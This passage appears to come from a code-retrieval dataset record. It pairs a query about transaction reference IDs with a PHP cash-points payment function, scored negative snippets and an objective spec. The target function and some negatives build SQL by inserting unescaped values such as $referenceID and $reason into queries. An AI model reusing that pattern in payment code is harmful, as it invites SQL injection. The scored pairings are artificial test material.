"private function __construct() { }", "private function __construct() { }", "private function __construct() { }", "private function __construct() { }", "private function __construct() { }", "private function __construct() { }", "private function __construct() { }", "private function __construct() { }", "private function __construct() { }", "private function __construct() { }", "private function __construct() { }", "private function __construct() { }", "private function __construct() { }", "final private function __construct(){\r\r\n\t}", "private function __construct(){ }", "private function __construct(){ }", "protected function __construct () {}", "public function init()\n {\n \treturn;\n }", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}" ]
[ "0.60275435", "0.60205853", "0.6008895", "0.5870997", "0.58160585", "0.577648", "0.57690513", "0.57015944", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5699952", "0.5697815", "0.5697815", "0.5655738", "0.5651278", "0.5651278", "0.56439734", "0.56238383", "0.56130713", "0.5581819", "0.5581819", "0.5581819", "0.5563387", "0.5563387", "0.5563387", "0.5563387", "0.5563387", "0.5563387", "0.5563387", "0.5563387", "0.5563387", "0.5563387", "0.5563387", "0.5563387", "0.5563387", "0.55566806", "0.5526528", "0.5526528", "0.5514589", "0.5499208", "0.54901296", "0.54901296", "0.54901296", "0.54901296", "0.54901296", "0.54901296", "0.54901296", "0.54901296" ]
0.0
-1
$referenceID = transaction id in transactiontable
function requestCashPointsPayment($conn, $userID, $cpAmount, $referenceID, $reason = '') { if(!is_numeric($userID) || !isset($conn) || !is_numeric($cpAmount) || !isset($referenceID)) terminatePage('Request CP > parameter invalid.'); $balance = checkCashPoints($conn, $userID); $transactionId = -1; if($balance <= 0 || $cpAmount <= 0 || $balance < $cpAmount) terminatePage("Error1"); $insert_row = $conn->query("INSERT INTO cashtable_transactiontable (amount, userid, referenceid, reasonid, reason) VALUES ($cpAmount, $userID, '$referenceID', 2, '$reason') "); if(!$insert_row) terminatePage(' ('. $conn->errno .') '. $conn->error); $transactionId = $conn->insert_id; $result = $conn->query("SELECT vt.id AS cpID, vt.cashpointbalance AS cpBalance FROM cashpoint_usertable AS ut INNER JOIN cashpoint_vaulttable AS vt WHERE vt.id = ut.cashpointId AND ut.userId = $userID AND ut.enabled = true AND vt.cashpointbalance = ut.availableBalance AND ut.availableBalance > 0 AND vt.datetimeexpiry > now();"); if ($result->num_rows <= 0) terminatePage("Error2"); $remainingBalance = $cpAmount; while($row = $result->fetch_assoc()) { $cpID = $row['cpID']; $cpBalance = $row['cpBalance']; $balanceToSubtract = 0.00; if($cpBalance >= $remainingBalance) $balanceToSubtract = $remainingBalance; else $balanceToSubtract = $cpBalance; $remainingBalance = $remainingBalance - $balanceToSubtract; $insert_row = $conn->query("INSERT INTO cashpoint_exchangetable (transactionId, cashpointId, amount) VALUES ($transactionId, $cpID, $balanceToSubtract) "); if(!$insert_row) terminatePage(' ('. $conn->errno .') '. $conn->error); if(!$conn->query("UPDATE cashpoint_usertable SET floatingBalance = floatingBalance + $balanceToSubtract, availableBalance = availableBalance - $balanceToSubtract WHERE `userid` = '$userID' AND cashpointId = '$cpID'")) terminatePage(' ('. $conn->errno .') '. $conn->error); if(!$conn->query("UPDATE cashpoint_vaulttable SET cashpointbalance = cashpointbalance - $balanceToSubtract WHERE id = '$cpID'")) terminatePage(' ('. $conn->errno .') '. $conn->error); if($remainingBalance <= 0) break; } $balance = checkCashPoints($conn, $userID); if($balance < 0) terminatePage("Error3"); return $transactionId; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getTransactionID();", "public function getTransactionReference()\n {\n foreach (['vpc_MerchTxnRef', 'vpc_TransactionNo'] as $key) {\n if (isset($this->data[$key])) {\n return $this->data[$key];\n }\n }\n }", "public function getTransactionReference()\n {\n if (!empty($this->data['transactions']) && !empty($this->data['transactions'][0]['related_resources'])) {\n foreach (array('sale', 'authorization') as $type) {\n if (!empty($this->data['transactions'][0]['related_resources'][0][$type])) {\n return $this->data['transactions'][0]['related_resources'][0][$type]['id'];\n }\n }\n }\n\n // This is a fallback, but is correct for fetch transaction and possibly others\n if (!empty($this->data['id'])) {\n return $this->data['id'];\n }\n\n return null;\n }", "public function getTransactionReference()\n {\n return $this->getDataItem('transactionReference');\n }", "public function getTransactionReference()\n {\n return $this->transactionReference;\n }", "public function getTransactionID()\n\t{\n\t\treturn $this->transaction_id;\n\t}", "public function getTransactionReference()\n {\n if (!isset($this->data['error'])) {\n return $this->data['transactionResponse']['transactionId'];\n }\n\n return null;\n }", "public function getTransactionUid ();", "function get_transaction_id()\n {\n return $this->platnosci_post_vars['txn_id']; \n }", "public function getTransactionReference()\n {\n if (empty($this->getOrder()->reference)) {\n return null;\n }\n\n $attributes = $this->getOrder()->reference->attributes();\n\n if (isset($attributes['id'])) {\n return $attributes['id'];\n }\n\n return null;\n }", "function bank_transaction_id($row){\n\t$now = time();\n\t$id = 10*(date('s', $now)+60*(date('i', $now)+60*date('H', $now)));\n\t$id += modulo($row['id_transaction'], 10);\n\treturn str_pad($id, 6, \"0\", STR_PAD_LEFT);\n}", "public function getTransactionId();", "public function getTransactionId();", "function getTxnId() {\n return $this->txn_id;\n }", "public function getTransactionNumber();", "public function get_transaction_id() {\n\n\t\treturn $this->transaction_tag;\n\t}", "public function getTransactionReference()\n {\n if(isset($this->data['properties'])) {\n $properties = $this->data['properties'];\n $paymentIdProperty = array_filter($properties, function ($item) {\n return $item['name'] === 'PAYMENT_ID';\n });\n if (isset($paymentIdProperty[0]['value'])) {\n return (string)$paymentIdProperty[0]['value'];\n }\n };\n\n return null;\n }", "abstract public function determineTransaction();", "public function getTransactionId() { return $this->transactionId; }", "public function getTransactionReference()\n {\n $reference = array();\n $reference['VendorTxCode'] = $this->getRequest()->getTransactionId();\n\n foreach (array('SecurityKey', 'TxAuthNo', 'VPSTxId') as $key) {\n if (isset($this->data[$key])) {\n $reference[$key] = $this->data[$key];\n }\n }\n\n ksort($reference);\n\n return json_encode($reference);\n }", "public function getTransaction();", "public function getTransactionReference()\n {\n $reference = [];\n\n foreach (['SecurityKey', 'TxAuthNo', 'VPSTxId', 'VendorTxCode'] as $key) {\n $value = $this->getDataItem($key);\n\n if ($value !== null) {\n $reference[$key] = $value;\n }\n }\n\n // The reference is null if we have no transaction details.\n\n if (empty($reference)) {\n return;\n }\n\n // Remaining transaction details supplied by the merchant site\n // if not already in the response (it will be for Sage Pay Form).\n\n if (! array_key_exists('VendorTxCode', $reference)) {\n $reference['VendorTxCode'] = $this->getTransactionId();\n }\n\n ksort($reference);\n\n return json_encode($reference);\n }", "public function getTxId()\n {\n return $this->tx_id;\n }", "public function getReferenceKey()\n\t{\n\t\treturn $this->reference_id;\n\t}", "function insert_transaction_record()\n\t{\n\t\t$invoice_id = strtotime('now');\n\t\t\n\t\t$data = array(\n\t\t 'user_id' => $this->user_id,\n\t\t 'invoice_id' => $invoice_id,\n\t\t 'product_id' => $this->auction_id,\t\t \t\t\n\t\t 'credit_debit' => 'DEBIT',\t\t \n\t\t 'transaction_name' =>'Bid Fee For auction ID: '.$this->auction_id,\n\t\t 'transaction_date' => $this->general->get_local_time('time'),\n\t\t 'transaction_type' => 'bid',\n\t\t 'transaction_status' => 'Completed',\t\t \n\t\t 'payment_method' => 'direct',\n\t\t 'amount'=>$this->user_bid_amt,\n\t\t 'pay_type' => $this->payment_type,\n\t \t);\n\t\t\n\t\t$this->db->insert('transaction', $data);\n\t\treturn $this->db->insert_id(); \t\n\t}", "public function getTxnId()\n {\n return $this->response['result']['id'];\n }", "private function searchTransactionID()\r\n {\r\n if ($this->transactionID > 0 && $this->transactionID < 100000000000000000000)\r\n {\r\n // retrieve product, supplier, repair agent details from database\r\n $result = mysql_query(\"SELECT TransactionID, PurchaseDate, PurchasePrice\r\n FROM TransactionProducts_VIEW\r\n WHERE TransactionID = $this->transactionID AND Keycode = $this->keycode\");\r\n \r\n // store transaction results for use later\r\n $this->transactionResult = mysql_fetch_array($result);\r\n \r\n \r\n \r\n }\r\n }", "public function getTransactionIdentifier()\n {\n return $this->transactionIdentifier;\n }", "function getReference($id)\n {\n return $this->model->where('order_id', $id)->groupBy('reference')->first()->reference;\n }", "public function getTransactionId(): string;", "public function uniqueId()\n {\n return $this->transaction->id;\n }", "public function getTransactionId() {\n return $this->transactionId;\n }", "public function getTransactionID()\r\n\t{\r\n\t\treturn $this->root->getAttribute('transactionid');\r\n\t}", "public function getPurchaseUnitReferenceId()\n {\n return $this->purchase_unit_reference_id;\n }", "public function getTxnID()\n\t{\n\t\treturn $this->get('TxnID');\n\t}", "public function getTransactionId()\n {\n return $this->transaction_id;\n }", "public function getTransactionId()\n {\n return $this->transaction_id;\n }", "public function getTransactionId()\n {\n return $this->transaction_id;\n }", "public function transaction();", "public function transaction();", "public function getLastTransactionID()\n {\n }", "public function getTransactionXID()\n {\n return $this->transactionXID;\n }", "public function getTransactionId()\n {\n return $this->transactionId++;\n }", "protected function recordLastTransactionID()\n {\n }", "public function transactionGetResults ($reference);", "public function getTxid()\n {\n return $this->txid;\n }", "public function getTransaction($txid);", "public function getRefId()\n {\n return $this->refId;\n }", "function createTransaction( $hash=null ){\n global $mysqli;\n if(!isset($hash) || $hash=='')\n return;\n $hash = $mysqli->real_escape_string($hash);\n $results = $mysqli->query(\"SELECT id FROM index_transactions WHERE `hash`='{$hash}' LIMIT 1\");\n if($results){\n if($results->num_rows){\n $row = $results->fetch_assoc();\n return $row['id'];\n } else {\n $results = $mysqli->query(\"INSERT INTO index_transactions (`hash`) values ('{$hash}')\");\n if($results){\n return $mysqli->insert_id;\n } else {\n byeLog('Error while trying to create record in index_transactions table');\n }\n }\n } else {\n byeLog('Error while trying to lookup record in index_transactions table');\n }\n}", "public function transaction(){\n return $this->belongTo('App\\Model\\Components\\Transaction','id','transaction_id');\n }", "public function doReferenceTransaction($ref) {\n\t\t$nvpstr =\n\t\t\t'&REFERENCEID=' . $ref .\n\t\t\t'&AMT=10' .\n\t\t\t'&PAYMENTACTION=Sale&REQCONFIRMSHIPPING=0';\n\n\t\t$this->hash_call('DoReferenceTransaction', $nvpstr);\n\t}", "function get_transaction_by_id($id){\n $str_query=\"select * from pos_transaction where transaction_id='$id'\";\n if(!$this->query($str_query)){\n return false;\n }\n return $this->fetch();\n }", "public function getTransactionReference(ResponseInterface $response) {\n $transaction_reference = $response->getTransactionReference();\n if (empty($transaction_reference)) {\n $transaction_reference = 'NULL';\n }\n return $transaction_reference;\n }", "public function getReferenceID()\n\t{\n\t\t$this->db->select('tchr_reference_id');\n\t\t$this->db->from('cms_teachers');\n\t\t$this->db->order_by('tchr_id','desc');\n\t\t$this->db->limit('1');\n\n\t\t$query = $this->db->get();\n\t\t$EMPID = '';\n\t\t$LastInsertedID = 0;\n\t\t$countID = $query->num_rows();\n\t\tif($countID > 0){\n\t\t\t$result = $query->row();\n\t\t\t$EMPID = $result->tchr_reference_id;\n\t\t}else{\n\t\t\t$EMPID = 'THR00000';\n\t\t}\n\t\t$LastInsertedID = substr($EMPID, 3, 5);\n\t\t$NEWIDS = 'THR' . str_pad($LastInsertedID + 1, 5, '0', STR_PAD_LEFT);\n\t\treturn $NEWIDS;\n\n\t}", "function cpay_GetTransactionID($hash) {\r\n $hash = loginDB_real_escape_string($hash);\r\n $query = \"SELECT `id` from `op_transactions` WHERE `hash`='\" . $hash . \"';\";\r\n $rawData = simple_query($query);\r\n if (!empty($rawData)) {\r\n $result = $rawData['id'];\r\n } else {\r\n $result = false;\r\n }\r\n return ($result);\r\n}", "public function restaurant_trans_id($restaurant_id = '') {\n\n\t $get_subscripton_data = get_post_meta($restaurant_id, \"package_subscripton_data\", true);\n\t if (is_array($get_subscripton_data)) {\n\t\t$last_subs = end($get_subscripton_data);\n\t\t$trans_id = isset($last_subs['transaction_id']) ? $last_subs['transaction_id'] : false;\n\t\treturn $trans_id;\n\t }\n\t}", "function tideways_transaction_name()\n{\n}", "public function getId()\n {\n return $this->transaction->getTransactionResponse()->getTransId();\n }", "public function getTransactionId()\n {\n return $this->transactionIdentifier;\n }", "function getTranId($db_connection,$user_name, $user_email){\n //first insert into the database\n $sql = sprintf(\"Insert into `transaction_table` (`user_name`,`user_email`,`tran_date`)\n Values('%s','%s',NOW())\",\n $db_connection->real_escape_string($user_name),\n $db_connection->real_escape_string($user_email));\n // execute thin sql\n $result=$db_connection->query($sql) or die (mysqli_error($db_connection));\n \n // Now get the max tran_id that will be the transaction id for this session of the user\n $sql = 'Select max(tran_id) as max_tran_id From transaction_table';\n // get that tran_id as integer\n $result=$db_connection->query($sql) or die (mysqli_error($db_connection));\n $row = mysqli_fetch_assoc($result);\n $max_tran_id = $row['max_tran_id'];\n \n // return this tran id\n return $max_tran_id;\n}", "public function getEntryUuid($reference);", "public function getTransactionId()\n {\n return $this->transactionId;\n }", "public function getTransactionId()\n {\n return isset($this->transaction['transactionId']) ? $this->transaction['transactionId'] : '';\n }", "function insert_transaction($subscriptionid = 0, $projectid = 0, $buynowid = 0, $user_id = 0, $p2b_user_id = 0, $storeid = 0, $orderid = 0, $description = '', $amount, $paid, $status, $invoicetype, $paymethod, $createdate, $duedate, $paiddate, $custommessage, $archive, $ispurchaseorder = 0, $returnid = 0, $transactionidx = '', $isdeposit = 0, $iswithdraw = 0, $dontprocesstax = 0)\n {\n global $ilance, $ilconfig;\n $subscriptionid = isset($subscriptionid) ? intval($subscriptionid) : '0';\n $projectid = isset($projectid) ? intval($projectid) : '0';\n $buynowid = isset($buynowid) ? intval($buynowid) : '0';\n $user_id = isset($user_id) ? intval($user_id) : '0';\n $p2b_user_id = isset($p2b_user_id) ? intval($p2b_user_id) : '0';\n $storeid = isset($storeid) ? intval($storeid) : '0';\n $orderid = isset($orderid) ? intval($orderid) : '0';\n $description = isset($description) ? $description : 'No transaction description provided';\n $amount = isset($amount) ? $amount : '0.00';\n $paid = isset($paid) ? $paid : '0.00';\n $status = isset($status) ? $status : 'unpaid';\n $invoicetype = isset($invoicetype) ? $invoicetype : 'debit';\n $paymethod = isset($paymethod) ? $paymethod : 'account';\n $ipaddress = IPADDRESS;\n $referer = REFERRER;\n $createdate = DATETIME24H;\n $duedate = isset($duedate) ? $duedate : DATETIME24H;\n $paiddate = isset($paiddate) ? $paiddate : '';\n $custommessage = isset($custommessage) ? $custommessage : 'No memo or administrative comments';\n $archive = isset($archive) ? intval($archive) : '0';\n $ispurchaseorder = isset($ispurchaseorder) ? $ispurchaseorder : '0';\n // withdraw and deposit related transactions\n $iswithdraw \t = isset($iswithdraw) \t ? intval($iswithdraw) : '0';\n $isdeposit \t = isset($isdeposit) \t ? intval($isdeposit) : '0';\n $totalamount = '0.00';\n $transactionid = (isset($transactionidx) AND !empty($transactionidx)) ? $transactionidx : $ilance->accounting_payment->construct_transaction_id();\n $currencyid = $this->currencyid == '0' ? $ilconfig['globalserverlocale_defaultcurrency'] : $this->currencyid;\n $ilance->db->query(\"\n INSERT INTO \" . DB_PREFIX . \"invoices\n (invoiceid, currency_id, subscriptionid, projectid, buynowid, user_id, p2b_user_id, storeid, orderid, description, amount, paid, totalamount, status, paymethod, ipaddress, referer, createdate, duedate, paiddate, custommessage, transactionid, archive, ispurchaseorder, isdeposit, iswithdraw)\n VALUES(\n NULL,\n '\" . intval($currencyid) . \"',\n '\" . intval($subscriptionid) . \"',\n '\" . intval($projectid) . \"',\n '\" . intval($buynowid) . \"',\n '\" . intval($user_id) . \"',\n '\" . intval($p2b_user_id) . \"',\n '\" . intval($storeid) . \"',\n '\" . intval($orderid) . \"',\n '\" . $ilance->db->escape_string($description) . \"',\n '\" . $ilance->db->escape_string($amount) . \"',\n '\" . $ilance->db->escape_string($paid) . \"',\n '\" . $ilance->db->escape_string($totalamount) . \"',\n '\" . $ilance->db->escape_string($status) . \"',\n '\" . $ilance->db->escape_string($paymethod) . \"',\n '\" . $ilance->db->escape_string($ipaddress) . \"',\n '\" . $ilance->db->escape_string($referer) . \"',\n '\" . $ilance->db->escape_string($createdate) . \"',\n '\" . $ilance->db->escape_string($duedate) . \"',\n '\" . $ilance->db->escape_string($paiddate) . \"',\n '\" . $ilance->db->escape_string($custommessage) . \"',\n '\" . $ilance->db->escape_string($transactionid) . \"',\n '\" . $ilance->db->escape_string($archive) . \"',\n '\" . intval($ispurchaseorder) . \"',\n '\" . intval($isdeposit) . \"',\n '\" . intval($iswithdraw) . \"')\n \", 0, null, __FILE__, __LINE__); \n // fetch new last invoice id\n $invoiceid = $ilance->db->insert_id();\n \n // do we skip the taxation support for this transaction?\n // we do this in some situations where the tax needs to be applied before the txn is created\n // for situations like escrow fees that we must already know how much to charge the customer for taxes\n // if we don't do this then the txn may have double taxes added to the overall amount\n // and situations like this usually mean that an unpaid transaction is being created (and tax) is\n // auto-applied\n \n // taxation support: is user taxable for this invoice type?\n // this code block will run if a transaction being created is unpaid waiting for payment from the customer\n if ($ilance->tax->is_taxable($user_id, $invoicetype) AND isset($dontprocesstax) AND $dontprocesstax == 0)\n {\n // fetch tax amount to charge for this invoice type\n $taxamount = $ilance->tax->fetch_amount($user_id, $amount, $invoicetype, 0);\n // fetch total amount to hold within the \"totalamount\" field\n $totalamount = ($amount + $taxamount);\n // fetch tax bit to display when outputing tax infos\n $taxinfo = $ilance->tax->fetch_amount($user_id, $amount, $invoicetype, 1);\n // portfolio invoicetypes are actually debit payments so treat it like so\n if ($invoicetype == 'portfolio')\n {\n $invoicetype = 'debit';\n }\n // in cases where an escrow payment is being made, and taxes are involved for commission fees,\n // we will update our paid amount to the (total amount w/taxes) if our total amount is not the same\n // as the amount we're paying. we do this because the invoice overview menu will show something like:\n // Amount Paid: $250.00 but the Total Amount is $300.00 (taxes already applied and paid via escrow)\n $extra = '';\n if ($totalamount != $paid AND $totalamount > 0 AND $status == 'paid')\n {\n $extra = \"paid = '\" . $totalamount . \"',\";\n }\n // member is taxable for this invoice type\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"invoices\n SET istaxable = '1',\n $extra\n totalamount = '\" . sprintf(\"%01.2f\", $totalamount) . \"',\n taxamount = '\" . sprintf(\"%01.2f\", $taxamount) . \"',\n taxinfo = '\" . $ilance->db->escape_string($taxinfo) . \"',\n invoicetype = '\" . $invoicetype . \"'\n WHERE invoiceid = '\" . intval($invoiceid) . \"'\n AND user_id = '\" . intval($user_id) . \"'\n \", 0, null, __FILE__, __LINE__);\n }\n else\n {\n // portfolio invoicetypes are actually debit payments so treat it like so\n if ($invoicetype == 'portfolio')\n {\n $invoicetype = 'debit';\n }\n // in cases where an escrow payment is being made, and taxes are involved for commission fees,\n // we will update our paid amount to the (total amount w/taxes) if our total amount is not the same\n // as the amount we're paying. we do this because the invoice overview menu will show something like:\n // Amount Paid: $250.00 but the Total Amount is $300.00 (taxes already applied and paid via escrow)\n $extra = '';\n if ($totalamount != $paid AND $totalamount > 0 AND $status == 'paid')\n {\n $extra = \"paid = '\".$totalamount.\"',\";\n }\n // customer not taxable > update totalamount value\n $ilance->db->query(\"\n UPDATE \" . DB_PREFIX . \"invoices\n SET totalamount = '\" . sprintf(\"%01.2f\", $amount) . \"',\n $extra\n invoicetype = '\" . $invoicetype . \"'\n WHERE invoiceid = '\" . intval($invoiceid) . \"'\n AND user_id = '\" . intval($user_id) . \"'\n \", 0, null, __FILE__, __LINE__);\n } \n if (isset($returnid) AND $returnid > 0)\n {\n return intval($invoiceid);\n }\n }", "public function getTransactionId(): string\n {\n return $this->transactionId;\n }", "public function buscar_transaction_relation($transaction_id) {\n $this->db->select('transaction_to_id, type');\n\t\t$this->db->from('transaction_relations');\n\t\t$this->db->where('transaction_to_id', $transaction_id);\n\t\t$query = $this->db->get();\n\t\t\n return $query->result();\n }", "public function getPageUuid($reference);", "public static function transaction($transactionId) {\n //Get information on a single transaction\n\t\t\treturn self::get(self::transaction_index() . $transactionId);\n\t\t}", "function _getTransactionDetails($transaction_id) {\t\t\n\t\t// Set request-specific fields.\n\t\t$transactionID = urlencode($transaction_id);\n\t\t$this->nvpStr = \"&TRANSACTIONID=$transactionID\";\t\n\t\t\t\n\t\treturn $this->query(\"RefundTransaction\");\n\t}", "public function getTransactionID(): string\n {\n return (string) $this->transactionID;\n }", "public function getTrxId()\n {\n return $this->trxId;\n }", "public function getRelativeTransactionId($invoice_id, $transaction_key)\n\t{\n\t\t$sql = \t' SELECT site_transaction_id FROM '.$this->CFG['db']['tbl']['site_transaction_details'].\n\t\t\t\t' WHERE invoice_id = '.$this->dbObj->Param('invoice_id').\n\t\t\t\t' AND transaction_key = '.$this->dbObj->Param('transaction_key');\n\n\t\t$stmt = $this->dbObj->Prepare($sql);\n\t\t$rs = $this->dbObj->Execute($stmt, array($invoice_id, $transaction_key));\n\n\t\tif (!$rs)\n\t trigger_error($this->dbObj->ErrorNo() . ' ' . $this->dbObj->ErrorMsg(), E_USER_ERROR);\n\n\t\tif ($row = $rs->FetchRow()) {\n\t\t\treturn $row['site_transaction_id'];\n\t\t}\n\n\t\treturn false;\n\t}", "public function inTransaction();", "public function inTransaction();", "public function setTransactionUid ($transUid);", "public function get_transaction_id() {\n\n\t\treturn $this->is_credit_card_response() && isset( $this->response->paymentMethod, $this->response->paymentMethod->verification ) ? $this->response->paymentMethod->verification->id : null;\n\t}", "function getReference($reference) {\n return $reference = $this->database->getReference($reference);\n }", "function Reference($id)\n {\n \n global $MAIN_TABLE;\n global $NOTES_TABLE;\n\n $q = \"SELECT * FROM `$MAIN_TABLE` WHERE id=$id;\";\n $rows = dbSelect($q, 'Reference()');\n $row = $rows[0];\n $this->id = $id;\n $this->year = $row[1];\n $this->title = $row[3];\n $this->author = $row[2];\n $this->keywords = $row[4];\n $this->html = $row[5];\n $this->bibtex = $row[6];\n\n $q = \"SELECT * FROM `$NOTES_TABLE` WHERE refid=$id ORDER BY timestamp;\";\n $rows = dbSelect($q, 'Bug()');\n $this->notes = array();\n foreach ($rows as $row) {\n $this->notes[] = new Note($row);\n }\n }", "function checkout_result_get_tran_id(&$security = '')\n\t{\n\t\t$tran_id = $this->CI->input->post('order_id');\n\t\t\n\t\treturn $tran_id;\n\t}", "public static function getTransactionReference($response)\n {\n\n if ($response->offsetExists('object')\n && 'charge' === $response->offsetGet('object')\n && $response->offsetExists('id')\n ){\n return $response->offsetGet('id');\n }\n\n // $hasTransactionObjects = ['refund'];\n // if ($response->offsetExists('object')\n // && in_array($response['object'], $hasTransactionObjects, true)\n // && $response['->offsetExists(d'])\n // ){\n // return $response->offsetGet('id');\n // }\n\n return null; //parent::getTransactionReference();\n }", "abstract protected function getTransactions();", "public static function pxp_client_transaction_details( $transaction_id )\n\t{\n\t}", "public function getReferenceUuid()\n\t{\n\t\treturn $this->reference_uuid;\n\t}", "function nvp_CheckTransaction($hash) {\r\n $hash= loginDB_real_escape_string($hash);\r\n $query=\"SELECT `id` from `op_transactions` WHERE `hash`='\".$hash.\"'\";\r\n $data= simple_query($query);\r\n if (!empty($data)) {\r\n return ($data['id']);\r\n } else {\r\n return (false);\r\n }\r\n}", "public function getBalanceTransactionReference()\n {\n return $this->getParameter('balanceTransactionReference');\n }", "public function getTransactionId() \n {\n return $this->_fields['TransactionId']['FieldValue'];\n }", "public function getReferenceIdentifier();", "public function get_transaction($id){\n $this->load->database();\n\n $query = $this->db->select('*')\n ->get_where('tbl_transactions',array('id' => $id));\n return $query->result_array();\n }", "public function getTransactionId() {\n return $this->transactionId;\n }", "function getReferenceID($branch_id,$process_id)\r\n{\r\n \r\n $date = date(\"y\");\r\n $sql = \"SELECT New_Value FROM process_values WHERE Branch_ID = {$branch_id} AND Process_ID = {$process_id} LIMIT 1\";\r\n $res = mysql_query($sql) or die (mysql_error());\r\n \r\n if ($row = mysql_fetch_array($res)) \r\n {\r\n $new_value = $row['New_Value'];\r\n \r\n $branch_id = sprintf(\"%01s\", $branch_id);\r\n $process_id = substr($process_id, -2);\r\n $new_value = sprintf(\"%06s\", $new_value);\r\n \r\n $reference_id = $branch_id . \"\" . $process_id . \"\" . $date . \"\" . $new_value;\r\n }\r\n \r\n return $reference_id; \r\n}", "function client_have_transactions($id)\n{\n $total_transactions = 0;\n $total_transactions += total_rows('tblinvoices', array(\n 'clientid' => $id\n ));\n $total_transactions += total_rows('tblestimates', array(\n 'clientid' => $id\n ));\n $total_transactions += total_rows('tblexpenses', array(\n 'clientid' => $id,\n 'billable' => 1\n ));\n $total_transactions += total_rows('tblproposals', array(\n 'rel_id' => $id,\n 'rel_type' => 'client'\n ));\n\n if ($total_transactions > 0) {\n return true;\n }\n\n return false;\n}", "function credit_transaction($order_id, $amount, $currency, $txn_id, $reason, $origin) {\n\n\t$type = \"CREDIT\";\n\n\t$date = (gmdate(\"Y-m-d H:i:s\"));\n\n\t$sql = \"SELECT * FROM transactions where txn_id='$txn_id' and `type`='CREDIT' \";\n\t$result = mysql_query($sql) or die(mysql_error($sql));\n\tif (mysql_num_rows($result)!=0) {\n\t\treturn; // there already is a credit for this txn_id\n\t}\n\n// check to make sure that there is a debit for this transaction\n\n\t$sql = \"SELECT * FROM transactions where txn_id='$txn_id' and `type`='DEBIT' \";\n\t$result = mysql_query($sql) or die(mysql_error($sql));\n\tif (mysql_num_rows($result)>0) {\n\n\t\t$sql = \"INSERT INTO transactions (`txn_id`, `date`, `order_id`, `type`, `amount`, `currency`, `reason`, `origin`) VALUES('$txn_id', '$date', '$order_id', '$type', '$amount', '$currency', '$reason', '$origin')\";\n\n\t\t$result = mysql_query ($sql) or die (mysql_error());\n\t}\n\n\n}", "public function save_transaction($transaction)\r\n {\r\n\r\n $rcontact_id = DB::select('remote_contact_id')\r\n ->from(Model_Remoteaccounting::TABLE_RCONTACTS)\r\n ->where('local_contact_id', '=', $transaction['contact_id'])\r\n ->and_where('remote_api', '=', Model_Bigredcloud::API_NAME)\r\n ->execute()\r\n ->get('remote_contact_id');\r\n\r\n $params = array();\r\n $params['acEntries'] = [\r\n ['accountCode' => Settings::instance()->get('bigredcloud_account_invoice'), 'analysisCategoryId' => 319228, 'value' => $transaction['total']]\r\n ];\r\n $params['customFields'] = [];\r\n $params['customerId'] = $rcontact_id;\r\n $params['details'] = $transaction['details'];\r\n $params['entryDate'] = $transaction['created'];\r\n $params['note'] = @$transaction['note'] ?: '';\r\n $params['procDate'] = $transaction['created'];\r\n $params['reference'] = null;\r\n $params['total'] = $transaction['total'];\r\n $params['totalVAT'] = 0;\r\n $params['vatEntries'] = [['amount' => $transaction['total'], 'vatRateId' => '86010', 'vatTypeId' => 1]];\r\n $params['netGoods'] = 0;\r\n $params['netServices'] = 0;\r\n $params['vatTypeId'] = 1;\r\n $params['vatRateId'] = '86010';\r\n\r\n //print_r($params);exit;\r\n $this->request(\r\n 'POST',\r\n 'salesEntries',\r\n $params\r\n );\r\n $remote_id = null;\r\n if ($this->last_id) {\r\n $remote_id = $this->last_id;\r\n }\r\n\r\n if ($remote_id) {\r\n DB::insert(Model_Remoteaccounting::TABLE_RTRANSACTIONS)\r\n ->values(\r\n array(\r\n 'local_transaction_id' => $transaction['id'],\r\n 'local_transaction_table' => $transaction['table'],\r\n 'remote_transaction_id' => $remote_id,\r\n 'remote_api' => Model_Bigredcloud::API_NAME\r\n )\r\n )->execute();\r\n return $remote_id;\r\n }\r\n return null;\r\n }", "public function getTransactionRecord()\n {\n return $this->transactionRecord;\n }", "public function reverseTransaction($journalId) {\n \n }", "public function getTransactionId()\n {\n return $this->data['ORDERINFO']['ORDERNUMBER'];\n }", "public function getTransactionObject($transaction_id) {\n $em = $this->em;\n $transaction_record = $em->getRepository('SixthContinentConnectBundle:Sixthcontinentconnecttransaction')\n ->findOneBy(array('id'=>$transaction_id));\n if (!$transaction_record) {\n return false;\n }\n return $transaction_record;\n }", "public function hasReferenceId(){\n return $this->_has(1);\n }", "public function hasReferenceId(){\n return $this->_has(1);\n }", "abstract public function InTransaction();", "function chawa_db_transactions_data() {\n\tglobal $wpdb;\n\t\n\t$table_name = $wpdb->prefix . 'chawa_transactions';\n\t\n\t$wpdb->insert(\n\t\t$table_name, \n\t\tarray(\n\t\t\t'transaction_id' => 'chawa_000000000000000000000000',\n\t\t\t'transaction_type' => 'DEBIT',\n\t\t\t'transaction_status' => 'status',\n\t\t\t'source_id' => 'src_000000000000000000000000',\n\t\t\t'source_status' => 'status',\n\t\t\t'charge_id' => 'py_000000000000000000000000',\n\t\t\t'charge_status' => 'status',\n\t\t\t'user_id' => 0,\n\t\t\t'amount' => 0,\n\t\t\t'recurring' => FALSE,\n\t\t\t'time' => current_time('mysql')\n\t\t) \n\t);\n}" ]
